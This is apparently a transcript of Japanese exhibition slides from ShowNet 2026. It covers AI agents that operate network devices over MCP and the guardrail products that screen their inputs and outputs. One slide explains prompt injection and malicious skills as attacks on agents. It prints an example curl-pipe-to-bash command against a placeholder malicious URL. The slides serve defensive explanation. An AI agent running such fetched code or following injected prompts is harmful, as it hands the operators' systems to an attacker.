【ShowNet 2026 展示会場内説明スライド】LLM

生成AI Agentの利用デモ@ShowNet2026

Transcript

1. LLM
2. 昨年2025年のShowNetでの取り組み 実装したAI ChatbotでShowNetの構築・運用支援実験 ルータ・スイッチのCLI操作 + RAG + チケットアクセス AIはどれほど有用なのかをShowNetでベンチマーク 評価がついたやりとりのうち68.1%がPositiveという結果に 幕張メッセ 質問 (+機器の出力) 質問 実験参加者 netmiko mgmt経由で MCP server SSH越しに ShowNet側装置 CLI操作 応答 コマンド MCP 機器の 出力 Azure OpenAI Service 検索 REST (OpenAI API) Chatbot Web Server 生成した応答 (+機器の操作) LLM Model (GPT-4.1) ttdb チケット MCP server MCP 情報 REST Vector Store Ticket System 2
3. 2025年の実験から明らかになったこと AIによる直接のCLI操作は有用 通算1427コマンドが発行、うち213が失敗(syntax error等) 成功の割合は85.1%、異なるCLIもそれなりに操作できる AIにできることを理解するが大事 AIにできないことを指示しても当然できない 詳細は論文に↓ 3
4. 生成AI Agentの利用デモ@ShowNet 2026 AI Agent (OpenClawベース)をShowNetにて提供 OpenClaw: オープンソースのAI Agentのいち実装 OpenClawへのExtension 人間はCisco Webex経由でAIとやりとり Cisco NSOとNOC作成MCPサーバ経由で ShowNet機器のCLIを操作できる StellaCyber Stella Cyber MCPでセキュリティ Cloud ケースの確認 Cisco NSO Guardrailによる AI Agentへの攻撃対策 CLI ShowNet側装置 MCP Servers Local LLM Inference Engine REST API AI Guardrail Prompt/ Tool Result Response/ Tool Call Agent (Gateway) Tool Call IDENTITY, SOUL, SKILL OpenClaw Shell Webex 4
6. AI Agentへの攻撃 Prompt Injectionや悪意のあるSKILL 例: 挿入されたプロンプトによってAgentが↓を実行したら... /bin/bash -c “$(curl -fsSL https://[悪意のあるURL])” AgentとLLMの間で入出力を検査するAI Guardrail 入出力を検査 悪性なものはブロック Operator Webex Chat Bot OpenClaw Guardrail LLM 6
7. 6月に世間を騒がせた Dirty Fragの脆弱性 7
8. DefenseClawがLLMの 出力をブロック 8
9. 現在稼働中のAI Agent as Webex bot AI GuardrailとBackend LLMごとに個別のbotを用意 合計7つのAI agent botが現在稼働中 Bot Name diagman_defense-claw diagman_prisma-airs diagman_promptsecurity AI Guardrail Cisco Defense Claw Palo Alto Prisma AIRS LLM qwen35-122b qwen35-122b Prompt Security qwen35-122b diagman_ai-guardrails F5 AI Guardrails qwen35-122b diagman_plamo-mncore - diagman_default - diagman_plamo - PFN PLaMo 3.0 Prime β PFN PLaMo 3.0 Prime β for MN-Core (8B) qwen35-122b 9
10. 協力いただいたコントリビュータさま 10